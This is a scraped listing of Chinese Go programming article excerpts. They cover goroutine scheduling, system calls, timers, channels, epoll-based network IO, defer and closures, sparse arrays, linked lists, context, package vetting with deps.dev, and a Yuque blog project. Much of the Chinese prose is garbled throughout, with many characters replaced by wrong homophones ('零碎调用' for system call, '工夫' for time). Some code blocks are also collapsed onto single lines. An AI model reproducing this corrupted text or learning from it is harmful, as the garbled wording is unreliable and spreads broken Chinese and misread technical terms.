看到输入后果如下,因为工夫被转换成utc工夫,所以输入的sql看起来如同是失常的 2022-09-30 22:00:57.7214462 +0800 CST m=+1.2902701012022/09/30 22:00:57 C:/work/go/code/first/mysql.go:24[2.653ms] [rows:0] SELECT * FROM `test` WHERE created_at>'2022-09-30 14:00:57.721'然而通过查看 mysql的general log并不是这样 ...

September 30, 2022 · 2 min · jiezi

关于go:27-GolangGo并发编程系统调用

 还记得GMP协程调度模型吗?M是线程,G是协程,P是逻辑处理器,线程M只有绑定P之后能力调度并执行协程G。那如果用户协程中执行了零碎调用呢?咱们都晓得执行零碎调用会产生用户态到内核态切换,而且零碎调用也有可能会阻塞线程M。M阻塞了还怎么调度协程呢?万一所有的线程M都因零碎调用阻塞了呢?阻塞期间谁来调度并执行协程呢?还是说就这么阻塞着呢? 封装零碎调用 在解说零碎调用实现原理之前,先回顾下GMP协程调度模型,如下图所示。个别P的数目与CPU核数相等,也就是说,对于8核处理器,Go过程会创立8个逻辑处理器P,对应的,也就最多有8个线程M可能绑定P,从而调度并执行用户协程。这样的话,一旦有线程M因零碎调用阻塞了,就会少一个调度线程,极其状况下,所有的线程M都被阻塞了,即所有的用户协程短时间内都得不到调度执行。 这显然是不合理的,如果真是这样,性能怎么保障?那怎么办?既然零碎调用有可能会阻塞线程M这一事实无奈扭转,那么在执行可能阻塞的零碎调用之前,开释掉其绑定的P就行了呗,以便其余线程(能够新创建)能从新绑定这个逻辑处理器P,从而不耽搁用户协程的调度执行。 然而,每次执行零碎调用,都须要开释绑定的P,启动新的调度线程,效率还是过于低下。毕竟,零碎调用只是有可能会阻塞线程M,也有可能很快就返回了。那怎么办?其实只须要进入零碎调用之前,标记一下以后线程M正在执行零碎调用,同时定时检测,如果零碎调用很快返回,那么不须要额定进行任何操作;如果检测到线程M长时间阻塞,那么此时再剥离该线程M与P的绑定关系,并启动新的调度线程也是能够承受的。 Go语言函数syscall.Syscall/Syscall6封装了底层零碎调用,以write零碎调用为例,参考文件syscall/zsyscall_linux_amd64.go: //只是参数数目不同func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)//定义linux零碎调用write编号const SYS_WRITE = 1func write(fd int, p []byte) (n int, err error) { r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return} syscall.Syscall函数在进入零碎调用之前,以及零碎调用完结,都会执行对应的hook函数,留神这一逻辑间接应用汇编语言实现(参考文件syscall/asm_linux_amd64.s) ...

September 30, 2022 · 2 min · jiezi

关于go:如何分析Golang第三方包是否可靠

专一于PHP、MySQL、Linux和前端开发,感兴趣的感激点个关注哟!!!文章已收录,次要蕴含的技术有PHP、Redis、MySQL、JavaScript、HTML&CSS、Linux、Java、Golang、Linux和工具资源等相干理论知识、面试题和实战内容。文章导读在日常开发中,咱们在本人的代码库中不免都会引入内部的包,或者公司外部的公有包。在引入这些包时,咱们个别都不会间接引入,而是会去思考这么几个问题。 该包是否合乎本人的性能需要?该包是否存在安全漏洞、bug等问题?该包是否有继续的保护、更新、欠缺等文档和良好的生态?......等等上述的问题,在引入给包时,都是咱们须要思考的。而不是间接自觉的引入。既然谈到了这个问题,那咱们该怎么去剖析这些问题呢?明天给大家分享Google一个开源的工具(Open Source),可能很好的帮忙咱们解决这个问题。 Open Source什么是Open SourceOpen Source是由 Google 开发和托管的实验性服务,旨在帮忙开发人员更好地理解开源软件包的构造、安全性和结构。该服务查看每个包,结构其依赖项及其属性的残缺、具体的图形,并将后果提供给能够从中受害的任何人。依赖关系图应用版本控制和许可信息、已知破绽以及代码衰弱和平安的其余重要信号进行润饰。 数据不仅为我的项目本人的代码提供,还为我的项目所有依赖项的齐全结构图中的所有包提供,甚至包含每个依赖项的各个版本。这意味着,例如,如果软件依赖于具备破绽的依赖包的版本,则该破绽将在顶层的我的项目的 Insights Web 视图中可见。 显示整个依赖项关系图中应用的许可证,可用于查找抵触或其余许可证问题。 它还提供了交互式工具来可视化依赖关系图、比拟版本、筛选依赖关系等。 最初,还会显示版本历史记录和其余相干信息。 Open Source开发目标心愿每个人都有一个高效、平安、牢靠和值得信赖的开源软件环境。理解我的项目的依赖关系是实现该指标的要害局部。不明智地抉择的依赖项可能会引入许可或平安问题,而仅仅领有太多的依赖项可能会使保护具备挑战性。世界各地的开发人员每天都在更新他们的代码,这可能会意外地影响您本人的软件。可能很难跟上。 我的项目旨在通过集成无关其所有依赖项的信息并提供一种查看它们如何组合在一起的办法,为开发人员和我的项目所有者提供无关其软件运行状况的见解来提供帮忙。当然,现有的工具和包装零碎能够做到这一些,但还不够,也不对立。 心愿取得无关开源软件我的项目的高质量信息和剖析,这将使构建和保护高质量软件变得更加容易。 差别比照Open Source并不是试图取代规范工具集,而是通过对每个打包模型的整个生态系统的全新集成视图来加强它。 Open Source一个要害的区别在于,Insights数据是从第一性原理派生进去的,即查看软件及其打包定义。后果可能与例如打包“锁定”文件的申明依赖项大不相同或更残缺。此外,Insights提供的数据会定期从新评估,以使其放弃最新状态,这在疾速倒退的开源开发世界中十分重要。 反对的包类型Open Source以后反对Cargo (Rust), Go’s module system, Maven (Java), npm (Node.js), and PyPI (Python)。 信息正确性Open Source团队具备解析算法的独立实现,用于计算包的依赖项。这些曾经针对“本机”实现进行了测试,并且给定雷同的输出,后果十分靠近:99%或更高,通常要高得多。因为版本偏差、打包模型的未记录或含糊性能、来自构建零碎的输出(咱们无奈应用)以及其余因素,可能会产生差别。 另请留神,包的依赖项关系图并不总是惟一的项,因为它可能取决于是否蕴含测试或其余依赖项、启用哪些性能等。因为图形计算是可传递的,因而即便依赖项标准的任何细节的渺小变动也会影响整个图形。 如何应用首先浏览器关上https://deps.dev/,通过搜寻框输出你想查问的包名。 点击你想查找的包,进入包详情页面。会看到如下的界面信息。 通过点击下面的几个选项卡,抉择你想查找的信息即可。

September 30, 2022 · 1 min · jiezi

关于go:26-GolangGo并发编程定时器timer

 定时器使得咱们能够提早若干工夫执行某项工作,或者以某一时间周期性执行某项工作,Linux零碎自身也具备定时器能力,Go语言是定时器是基于零碎调用实现的吗?另外,Go语言不是多协程吗,定时器触发时,是在哪个协程执行工作的呢?创立工作的协程吗? 基本操作 Go语言time包提供了工夫/定时器相干的API,如获取以后零碎工夫(能够达到纳秒级别),协程休眠指定工夫,提早指定工夫执行某项工作,以某一时间周期性执行某项工作等等,操作如下: package mainimport ( "fmt" "time")func main() { //纳秒工夫戳 t := time.Now().UnixNano() fmt.Println(t) //1652510180050345000 //秒工夫戳 t = time.Now().Unix() fmt.Println(t) //1652510180 //格式化显示工夫 fmt.Println(time.Now().Format("2006-01-02 15:04:05")) //2022-05-14 14:36:20 // 一秒后执行函数 time.AfterFunc(time.Second, func() { fmt.Println(time.Now().Format("2006-01-02 15:04:05")) }) // 以一秒为周期,定时触发 ticker := time.NewTicker(time.Second) go func() { for { <- ticker.C //工夫触发时,管道可读 fmt.Println(time.Now().Format("2006-01-02 15:04:05")) } }() //协程休眠3秒 time.Sleep(10 * time.Second)} 留神格式化工夫显示工夫年月日时分秒,用的是"2006-01-02 15:04:05",Format办法应用其余格局如"2022-05-14 14:36:20"能够吗?按理说这两个工夫字符串格局是一样的,只是值不一样罢了,后果应该没区别。写个小程序测试下,你会发现,后果有点奇怪: package mainimport ( "fmt" "time")func main() { //格式化显示工夫 fmt.Println(time.Now().Format("2022-05-14 14:36:20")) //输入:141414-02-540 540:26:140} 这是什么?为什么不是失常的年月日时分秒显示呢?这就须要钻研下Go语言Format办法,反对的格局标识,比方其余一些语言应用Y示意年,M示意月等。Go语言定义的年月日等标识如下: ...

September 29, 2022 · 2 min · jiezi

关于go:go并发编程for循环中go协程常见问题总结

一.for循环中go协程常见问题上面的代码取自于是七猫广告竞价场景,我简化了外面的代码,如代码所见在for循环外面应用了goroutine。 package mainimport ( "fmt")type ad struct { id int}func main() { var sum int var ads []ad adMap := make(map[int]ad, 0) for i := 0; i < 5; i++ { go func() { ads = append(ads, ad{i}) adMap[i] = ad{i} sum += i }() } fmt.Println(sum) //2 fmt.Println(ads) // [{2} {2} {4} {4}] fmt.Println(len(ads)) //4 fmt.Println(adMap) // map[2:{2} 3:{3} 4:{4}] fmt.Println(len(adMap)) //3}下面的代码中,咱们共申明了3个变量 sum、ads、adMap ,而后在for循环外面,进行写入赋值。最初咱们再输入他们的值和长度,后果发现每一个都谬误。 sum值 正确的值应该是 0+1+2+3+4 = 10,而代码输入的值为 2ads值 正确的值应该是[{0} {1} {2} {3} {4}],而代码输入的值为 [{2} {2} {4} {4}]ads长度 正确应该为5,而代码输入4adMap值 正确的值应该是 map[0:{0} 1:{1} 2:{2} 3:{3} 4:{4}],而代码输入的值为 map[2:{2} 3:{3} 4:{4}]adMap长度 正确的应该为5,而代码输入3到底是什么起因导致了,这样的谬误后果呢,答案是 Race 竞态。上面我将介绍呈现这些问题的起因,以及解决方案,最初文章完结,我会附上最终顺利运行的代码。 ...

September 29, 2022 · 4 min · jiezi

关于go:25-GolangGo并发编程管道chan

 Go语言实现了两种多线程同步计划,一种是传统多线程语言相似,基于共享内存计划;另一种称之为基于协程-管道的CSP(communicating sequential processes)并发编程模型,这也是Go语言举荐的形式。本篇文章次要解说管道在并发编程中的典型利用,以及管道的底层实现原理。 典型利用场景 顾名思义,管道能够从一端写入数据,一端读取数据,用户程序能够很不便的通过管道实现协程间通信,如下列形式: package mainimport ( "fmt" "time")func main() { queue := make(chan int, 1) go func() { for { data := <- queue //读取 fmt.Print(data, " ") //0 1 2 3 4 5 6 7 8 9 } }() for i := 0; i < 10; i ++ { queue <- i //写入 } time.Sleep(time.Second)} 管道能够在多协程间传递数据,管道的申明如"chan int"形式,申明蕴含了传递的数据类型。make初始化管道时候,第二个参数用于设置管道最大能够存储的数据量:管道容量满了之后,写入数据会阻塞以后协程;管道容量为空时,读取数据也会阻塞以后协程。那如果make初始化管道时,第二个参数是0呢?这意味着该管道最大容量为0,也就是,向管道写入数据时如果没有协程恰好期待读,肯定会阻塞以后写协程;相应的,从管道读取数据时如果没有协程恰好期待写入,也肯定会阻塞以后读协程。 管道容量不为0时,咱们通常称该管道为有缓冲管道,对应的管道容量为0就是无缓冲管道。有缓冲管道可供多个协程协同解决,在肯定水平上能够进步程序的并发,这句话怎么了解呢?构想有这么一个需要:有一个脚本,从kafka等队列生产音讯并解决,然而解决逻辑比拟耗时,单线程/协程生产+解决效率太低,那就多协程解决呗。一个协程生产kafka等队列音讯,写入管道,多个异步协程从管道获取音讯并解决,这里咱们就通过有缓冲管道 + 多协程进步了程序的并发。程序实例如下: package mainimport ( "fmt")func main() { //有缓冲管道 queue := make(chan int, 100) //启动10个子协程生产管道音讯 for i := 0; i < 10; i ++ { go func() { for { data := <- queue fmt.Println(data) } }() } //主协程循环向管道写入音讯 for j := 0; j < 1000; j ++ { queue <- j }} 管道的写入或者读取可能会阻塞以后协程,问题就是以后管道是否可读或者可写是不晓得的,如果一个协程须要同时操作多个管道呢?比方有多个异步协程从管道抓取数据(耗时),写入数据管道(每一个异步协程对应一个数据管道),主协程从多个数据管道生产数据,写入本地文件。主协程怎么同时读取多个管道呢?要晓得读取管道可能会导致主协程阻塞的。Go语言还有一个关键字select,能够同时监听多个管道,十分相似IO多路复用的概念,如epoll。这时候程序应该是这样的: ...

September 28, 2022 · 5 min · jiezi

关于go:Go函数下篇defer和闭包

defer应用defer注册的匿名函数(提早调用)还能够给它传参,不过是值拷贝 package mainimport "fmt"func work() int { num := 10 defer func(i int) { i += 20 println("defer内的后果:", i) }(num) return num}func main() { ret := work() fmt.Println(ret)}输入: defer内的后果: 3010解析:在work函数内,变量num传递给了通过defer注册了的匿名函数,在匿名函数内做了加20,但它的后果并未影响到里面的num变量,这就是值拷贝。当被动调用os.Exit退出程序后,defer会不会执行?试试再说 package mainimport ( "fmt" "os")func main() { defer func() { fmt.Println("开释锁...") }() fmt.Println("hello") os.Exit(1)}输入: hello答案很显著了,竟然不会。注册自定义的函数为提早调用,模仿个小栗子:关上文件,解决,解决完后敞开该文件 package mainimport ( "fmt")func closeFile() { println("敞开文件")}func work() bool { defer closeFile() fmt.Println("关上文件") fmt.Println("正在解决...") fmt.Println("解决实现!") return true}func main() { status := work() fmt.Println(status)}输入: 关上文件正在解决...解决实现!true敞开文件所以说,defer的利用场景能够是开释资源或者敞开连贯、敞开文件、开释锁等等,说白了就是:它就是做收尾工作的家伙。闭包闭包初体验 ...

September 27, 2022 · 2 min · jiezi

关于go:golang控制gorountine顺序执行

golang 管制gorountine程序执行 package mainimport ( "fmt")func main() { sort()}func sort() error { var count int capChan := 100 exit := make(chan int, capChan) for i := 0; i < capChan; i++ { flag := make(chan int) go func(i int) { exit <- i flag <- i }(i) <-flag }LOOP: for { select { case msg, ok := <-exit: count++ fmt.Println("---", msg, ok) break default: if count >= capChan { break LOOP } } } defer func() { close(exit) }() return nil}

September 27, 2022 · 1 min · jiezi

关于go:go常使用到的工具总结

有一个工具strace,能够监听过程所有的零碎调用

September 27, 2022 · 1 min · jiezi

关于go:23-GolangGo并发编程网络IO

 咱们都晓得用户程序读写socket的时候,可能阻塞以后协程,那么是不是阐明Go语言采纳阻塞形式调用socket相干零碎调用呢?你有没有想过,Go语言又是如何实现高性能网络IO呢?有没有应用传说中的IO多路复用,如epoll呢? 摸索Go语言网络IO HTTP服务必定波及到socket的读写吧,而且Go语言启动一个HTTP服务还是非常简单的,几行代码就能够搞定,后面也不须要反向代理服务如Nginx,咱们写一个简略的HTTP服务来测试: package mainimport ( "fmt" "net/http")func main() { http.HandleFunc("/", func(writer http.ResponseWriter, request *http.Request) { writer.Write([]byte("hello world")) }) server := &http.Server{ Addr: "0.0.0.0:80", } err := server.ListenAndServe() fmt.Println(err)}//curl http://127.0.0.1:10086/ping//hello world 能够临时不了解http.Server,只须要晓得这是Go语言提供的HTTP服务;咱们启动的HTTP服务监听80端口,所有申请都返回"hello world"。程序挺简略的,然而如何验证咱们提出的疑难呢?Go语言层面的socket读写,最终必定会转化为具体的零碎调用吧,有一个工具strace,能够监听过程所有的零碎调用,咱们先通过strace简略看一下。 # ps aux | grep testroot 27435 0.0 0.0 219452 4636 pts/0 Sl+ 11:00 0:00 ./test# strace -p 27435strace: Process 27435 attachedepoll_pwait(5, [{EPOLLIN, {u32=1030856456, u64=140403511762696}}], 128, -1, NULL, 0) = 1futex(0x9234d0, FUTEX_WAKE_PRIVATE, 1) = 1accept4(3, {sa_family=AF_INET6, sin6_port=htons(56447), inet_pton(AF_INET6, "::ffff:127.0.0.1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28], SOCK_CLOEXEC|SOCK_NONBLOCK) = 4epoll_ctl(5, EPOLL_CTL_ADD, 4, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1030856248, u64=140403511762488}}) = 0getsockname(4, {sa_family=AF_INET6, sin6_port=htons(10086), inet_pton(AF_INET6, "::ffff:127.0.0.1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0setsockopt(4, SOL_TCP, TCP_NODELAY, [1], 4) = 0setsockopt(4, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0setsockopt(4, SOL_TCP, TCP_KEEPINTVL, [180], 4) = 0setsockopt(4, SOL_TCP, TCP_KEEPIDLE, [180], 4) = 0futex(0xc000036848, FUTEX_WAKE_PRIVATE, 1) = 1accept4(3, 0xc0000abac0, 0xc0000abaa4, SOCK_CLOEXEC|SOCK_NONBLOCK) = -1 EAGAIN (Resource temporarily unavailable)futex(0x923d48, FUTEX_WAIT_PRIVATE, 0, NULL) = 0nanosleep({0, 3000}, NULL) strace应用起来还是非常简单的,ps命令查出来过程的pid,而后strace -p pid就能够了,同时咱们手动curl申请一下。能够很分明的看到epoll_pwait,epoll_ctl,accept4等零碎调用,很显著,Go应用了IO多路复用epoll(不同零碎Linux,Windows,Mac不一样)。另外,留神第二个accept4零碎调用,返回EAGAIN,并且第四个参数蕴含标识SOCK_NONBLOCK,看到这根本也能猜到,Go语言采取的是非阻塞形式调用socket相干零碎调用。 ...

September 27, 2022 · 3 min · jiezi

关于go:上篇Go函数的骚包玩法有哪些

1. 用type关键字能够定义函数类型,函数类型变量能够作为函数的参数或返回值。 package mainimport "fmt"func add(a, b int) int { return a + b}func sub(a, b int) int { return a - b}type Task func(int, int) intfunc exec(t Task, a, b int) int { return t(a, b)}func main() { a := exec(add, 10, 20) fmt.Println(a) b := exec(sub, 100, 95) fmt.Println(b)}解析:type Task func(int, int) int,这句是说,应用type关键字定义1个类型为func的Task,这个func有2个int形参、1个int返回值。再看exec这个函数,它有3个形参,形参t的类型是刚定义的函数类型Task,另外两个你懂的,我就不说了。2. 匿名函数的玩法是真的骚,看看骚在哪里 栗子1:匿名函数能够间接赋给变量 func main() { var aaa = func(a, b int) int { return a + b } ret := aaa(89, 78) fmt.Println(ret)}输入: ...

September 26, 2022 · 2 min · jiezi

关于go:go-稀疏数组

当一个数组中大部分元素为0,或者为同一个值的数组时,能够应用稠密数组来保留该数组 如下图,在一个二维数组中大部分是同一个数,这样的状况就能够应用稠密数组来保留数据 实现一个稠密数组 package mainimport ( "fmt")type ValNode struct { row int col int val int}func main() { //1. 先创立一个原始数组 var chessMap [11][11]int chessMap[1][2] = 1 //黑子 chessMap[2][3] = 2 //蓝子 //2. 输入看看原始的数组 for _, v := range chessMap { for _, v2 := range v { fmt.Printf("%d\t", v2) } fmt.Println() } //3. 转成稠密数组 //(1). 遍历 chessMap, 如果咱们发现有一个元素的值不为 0,创立一个 node 构造体 //(2). 将其放入到对应的切片即可 var sparseArr []ValNode //规范的一个稠密数组应该还有一个 记录元素的二维数组的规模(行和列,默认值) //创立一个 ValNode 值,记录行数,列数。默认值 valNode := ValNode{ row : 11, col : 11, val : 0, } //将行数,列数,默认值退出到数组中 sparseArr = append(sparseArr, valNode) for i, v := range chessMap { for j, v2 := range v { if v2 != 0 { //创立一个 ValNode 值结点 valNode := ValNode{ row : i, col : j, val : v2, } sparseArr = append(sparseArr, valNode) } } } //4. 输入稠密数组 fmt.Println("\n以后的稠密数组是:::::") for _, valNode := range sparseArr { fmt.Printf("%d %d %d\n", valNode.row, valNode.col, valNode.val) } // 先创立一个原始数组 var chessMap2 [11][11]int // 遍历 sparseArr [遍历文件每一行] for i, valNode := range sparseArr { if i != 0 { //跳过第一行记录值 chessMap2[valNode.row][valNode.col] = valNode.val } } //看看chessMap2是不是复原 . fmt.Println("复原后的原始数据 ") for _, v := range chessMap2 { for _, v2 := range v { fmt.Printf("%d\t", v2) } fmt.Println() }}执行的输入为 ...

September 26, 2022 · 3 min · jiezi

关于go:轻松上手手把手带你掌握从Context到go设计理念

导语 | 本文推选自腾讯云开发者社区-【技思广益 · 腾讯技术人原创集】专栏。该专栏是腾讯云开发者社区为腾讯技术人与宽泛开发者打造的分享交换窗口。栏目邀约腾讯技术人分享原创的技术积淀,与宽泛开发者互启迪共成长。本文作者是腾讯后端开发工程师陈雪锋。context包比拟小,是浏览源码比拟现实的一个动手,并且外面也涵盖了许多go设计理念能够学习。go的Context作为go并发形式的一种,无论是在源码net/http中,开源框架例如gin中,还是外部框架trpc-go中都是一个比拟重要的存在,而整个 context 的实现也就不到600行,所以也想借着这次机会来学习学习,本文基于go 1.18.4。话不多说,例:为了使可能对context不太熟悉的同学有个相熟,先来个example ,摘自源码: 咱们利用WithCancel创立一个可勾销的Context,并且遍历频道输入,当 n==5时,被动调用cancel来勾销。而在gen func中有个协程来监听ctx当监听到ctx.Done()即被勾销后就退出协程。 func main(){gen := func(ctx context.Context) <-chan int {dst := make(chan int)n := 1go func() {for {select {case <-ctx.Done():                                        close(dst)return // returning not to leak the goroutinecase dst <- n:n++}}}()return dst} ctx, cancel := context.WithCancel(context.Background())// defer cancel() // 理论应用中应该在这里调用 cancel for n := range gen(ctx) {fmt.Println(n)if n == 5 {                       cancel() // 这里为了使不相熟 go 的更能明确在这里调用了 cancel()break}}// Output:// 1// 2// 3// 4// 5}这是最根本的应用办法。 ...

September 26, 2022 · 5 min · jiezi

关于go:go-链表

什么是链表 链表是一种数据结构,链表作为一种根底的数据结构能够用来生成其它类型的数据结构。 链表通常由一连串节点组成,节点能够在运行时动静生成,每个节点蕴含任意的实例数据(data fields)和存储下一个或下一个结点地址的指针域 链表是有序的列表,数据元素的逻辑程序是通过链表中的指针链接秩序实现的 应用链表构造能够防止在应用数组时须要事后晓得数据大小的毛病,链表构造能够充沛利用计算机内存空间,实现灵便的内存动静治理。然而链表失去了数组随机读取的长处,同时链表因为减少了结点的指针域,空间开销比拟大 罕用的链表形式有三种: 1. 单链表 2. 双向链表 3. 循环链表 链表的根底概念链表蕴含头节点(必须)、头指针、首元节点、其余节点 首元结点:就是链表中存储第一个元素的结点,如下图中 a1 的地位。头结点:它是在首元结点之前附设的一个结点,其指针域指向首元结点。头结点的数据域能够存储链表的长度或者其它的信息,也能够为空不存储任何信息。头指针:它是指向链表中第一个结点的指针。若链表中有头结点,则头指针指向头结点;若链表中没有头结点,则头指针指向首元结点。头结点在链表中不是必须的,但减少头结点有以下几点益处: 减少了头结点后,首元结点的地址保留在头结点的指针域中,对链表的第一个数据元素的操作与其余数据元素雷同,无需进行非凡解决。减少头结点后,无论链表是否为空,头指针都是指向头结点的非空指针,若链表为空的话,那么头结点的指针域为空 单向链表单链表的模式如下图所示 实现一个单链表 package mainimport ( "fmt")//定义一个 HeroNodetype HeroNode struct { no int name string nickname string next *HeroNode //这个示意指向下一个结点}//给链表插入一个结点//编写第一种插入方法,在单链表的最初退出func InsertHeroNode(head *HeroNode, newHeroNode *HeroNode) { //1. 先找到该链表的最初这个结点 //2. 创立一个辅助结点 temp := head for { if temp.next == nil { //示意找到最初 break } temp = temp.next // 让 temp 一直的指向下一个结点 } //3. 将 newHeroNode 退出到链表的最初 temp.next = newHeroNode}//给链表插入一个结点//编写第 2 种插入方法,依据 no 的编号从小到大插入..【实用】func InsertHeroNode2(head *HeroNode, newHeroNode *HeroNode) { //1. 找到适当的结点 //2. 创立一个辅助结点[跑龙套, 帮忙] temp := head flag := true //让插入的结点的 no,和 temp 的下一个结点的 no 比拟 for { if temp.next == nil { //阐明到链表的最初 break } else if temp.next.no >= newHeroNode.no { //阐明 newHeroNode 就应该插入到 temp 前面 break } else if temp.next.no == newHeroNode.no { //阐明咱们额链表中曾经有这个 no,就不然插入. flag = false break } temp = temp.next } if !flag { fmt.Println("对不起,曾经存在 no=", newHeroNode.no) return } else { newHeroNode.next = temp.next temp.next = newHeroNode }}//显示链表的所有结点信息func ListHeroNode(head *HeroNode) { //1. 创立一个辅助结点 temp := head // 先判断该链表是不是一个空的链表 if temp.next == nil { fmt.Println("空洞无物。。。。") return } //2. 遍历这个链表 for { fmt.Printf("[%d , %s , %s]==>", temp.next.no, temp.next.name, temp.next.nickname) //判断是否链表后 temp = temp.next if temp.next == nil { break } }}func main() { //1. 先创立一个头结点 head := &HeroNode{} hero1 := &HeroNode{ no : 1, name : "张三", nickname : "法外狂徒", } hero2 := &HeroNode{ no : 2, name : "王五", nickname : "隔壁老王", } hero3 := &HeroNode{ no : 3, name : "李四", nickname : "坏蛋老四", } //3. 退出 InsertHeroNode2(head, hero3) InsertHeroNode2(head, hero1) InsertHeroNode2(head, hero2) // 4. 显示 ListHeroNode(head)}执行输入后果 ...

September 26, 2022 · 2 min · jiezi

关于go:23-GolangGo并发编程调度器schedule

 咱们始终提到,每一个线程都有一个线程栈,也称为零碎栈;协程g0就运行在这个栈上,而且协程g0执行的就是调度逻辑schedule。Go语言调度器是如何治理以及调度这些成千上万个协程呢?和操作系统一样,保护着可运行队列和阻塞队列吗,有没有所谓的依照工夫片或者是优先级或者是抢占式调度呢? 调度器schedule 咱们曾经晓得每一个P都有一个协程队列runq,该队列存储的都是处于可运行状态的协程,调度器个别状况下只须要从以后p.runq获取协程即可;另外,Go语言为了防止多个P负载调配不平衡,还有一个全局队列sched.runq,如果以后p.runq队列为空,也会从全局队列sched.runq尝试获取协程;如果还为获取不到可执行协程,甚至会从其余P的队列去偷。 当然,无论是p.runq,还是全局的sched.runq,存储的都是处于可运行状态的协程;那处于阻塞状态的协程呢,这些协程在调度器执行的时候,还处于阻塞状态码?不晓得,所以在获取不到可执行协程时,还会尝试去看一下有没有协程解除阻塞了,如果有则还能够调度执行这些协程。 调度器schedule看着比较简单,获取可运行协程,通过execute调度执行该协程: func schedule() { // schedtick调度计数器,没调度以此加1 // 调度器周期61次,首先从全局队列获取可运行协程 if gp == nil { if _g_.m.p.ptr().schedtick%61 == 0 && sched.runqsize > 0 { lock(&sched.lock) gp = globrunqget(_g_.m.p.ptr(), 1) unlock(&sched.lock) } } if gp == nil { gp, inheritTime = runqget(_g_.m.p.ptr()) } if gp == nil { gp, inheritTime = findrunnable() // blocks until work is available } //调度执行 execute(gp, inheritTime)} 依照之前咱们说的,先查找以后P的协程队列,再查找全局队列,然而这样可能会导致全局队列的协程长时间得不到调度,所以Go语言调度器每执行61次,都会优先从全局队列获取可运行协程。留神,在查找全局队列的时候,存在多线程并发问题,所以是须要先加锁的。findrunnable是一个比较复杂的函数,看正文"blocks until work is available",获取不到协程时,甚至会block(以后线程M暂停)。execute当然就是切换栈,执行以后协程了。 ...

September 26, 2022 · 3 min · jiezi

关于go:Golang-语雀内容系统5-详情页Toc导航栏

实现性能减少文章详情页Toc文章目录 实现思路对文章内容提取 h1, h2, h3, h4, h5 标签与锚,这里咱们将采纳到第三方包 github.com/PuerkitoBio/goquery// handler/post.gohtml = `<h1 id="H55oy1">语雀文章内容</h1><h2 id="H55oy2">语雀文章内容</h2><h3 id="H55oy3">语雀文章内容</h3><h4 id="H55oy4">语雀文章内容</h4><h5 id="H55oy5">语雀文章内容</h5>`doc, _ := goquery.NewDocumentFromReader(strings.NewReader(html))var navs []*Navdoc.Find("h1, h2, h3, h4, h5").Each(func(i int, s *goquery.Selection) { // ... navs = append(navs, &Nav{ ID: "", Title: "", Level: "", })})type Nav struct { ID string Title string Level int}

September 25, 2022 · 1 min · jiezi

关于go:Golang-语雀内容系统4-分页与防盗链

实现性能减少动态页模版减少分页性能解决图片防盗链本节残缺代码:https://github.com/golangtips... 减少动态页模版基于开源 HTML 博客模板 https://github.com/golangtips/django-blog-tutorial-templates,二次批改 main.go 中,减少动态申请解决 r := mux.NewRouter()// 动态文件r.PathPrefix("/static/").Handler(http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))将模版中 css/js/img 目录,复制 static 目录下 ├── static│   ├── css│   │   ├── bootstrap.min.css│   │   ├── custom.css│   │   ├── highlights│   │   │   ├── autumn.css│   │   │   ├── borland.css│   │   │   ├── bw.css│   │   │   ├── colorful.css│   │   │   ├── default.css│   │   │   ├── emacs.css│   │   │   ├── friendly.css│   │   │   ├── fruity.css│   │   │   ├── github.css│   │   │   ├── manni.css│   │   │   ├── monokai.css│   │   │   ├── murphy.css│   │   │   ├── native.css│   │   │   ├── pastie.css│   │   │   ├── perldoc.css│   │   │   ├── tango.css│   │   │   ├── trac.css│   │   │   ├── vim.css│   │   │   ├── vs.css│   │   │   └── zenburn.css│   │   └── pace.css│   ├── img│   │   └── me.jpg│   └── js│   ├── bootstrap.min.js│   ├── jquery-2.1.3.min.js│   ├── modernizr.custom.js│   ├── pace.min.js│   └── script.js图片防盗链语雀对图片地址,做了防盗链;在集体域名下,无奈间接拜访https://cdn.nlark.com/yuque/0/2022/png/1293580/1664030164721-6814a656-7cc3-4a8f-94f5-4b091cc7fc0d.png ...

September 25, 2022 · 2 min · jiezi

关于go:Golang-语雀内容系统3-输出HTML文章

实现性能减少配置文件读取语雀内容,并且输入到HTML上具体步骤本节残缺代码参考:https://github.com/golangtips/yuque/releases/tag/v0.0.3main.go 减少配置解析,把 services 传入 http 申请处理函数 package mainimport ( "fmt" "log" "net/http" "os" "os/signal" "syscall" "time" "github.com/golangtips/yuque/service" "github.com/golangtips/yuque/config" "github.com/BurntSushi/toml" "github.com/golangtips/yuque/handler" "github.com/gorilla/mux")func main() { err := run() if err != nil { log.Fatal(err) }}func run() error { // 解析配置文件 var config config.Toml if _, err := toml.DecodeFile("config.toml", &config); err != nil { return err } // 初始化服务 s, err := service.NewSet(&config) if err != nil { return err } r := mux.NewRouter() // 文章详情页 r.Methods("GET").Path("/").HandlerFunc(handler.HomePage) // 文章详情页 r.Methods("GET").Path("/posts/{slug:[a-zA-Z0-9.]+}").HandlerFunc(handler.PostDetail(s.YuQue)) // 文章详情页 r.Methods("GET").Path("/posts").HandlerFunc(handler.PostList(s.YuQue)) // 文章搜寻页 r.Methods("GET").Path("/search").HandlerFunc(handler.Search(s.YuQue)) server := &http.Server{ Handler: r, Addr: fmt.Sprintf(":%d", config.HTTPPort), WriteTimeout: 5 * time.Second, ReadTimeout: 5 * time.Second, } errs := make(chan error) // HTTP 服务 go (func() { log.Println("HTTP服务启动") errs <- server.ListenAndServe() })() // 退出信号处理 go (func() { ch := make(chan os.Signal, 1) signal.Notify(ch, syscall.SIGINT, syscall.SIGTERM) errs <- fmt.Errorf("%s", <-ch) })() // 退出日志 log.Println("exit", <-errs) return nil}handler/post.go 减少 service.IYuQue 传参 ...

September 25, 2022 · 1 min · jiezi

关于go:Golang-语雀内容系统2-增加服务层语雀SDK

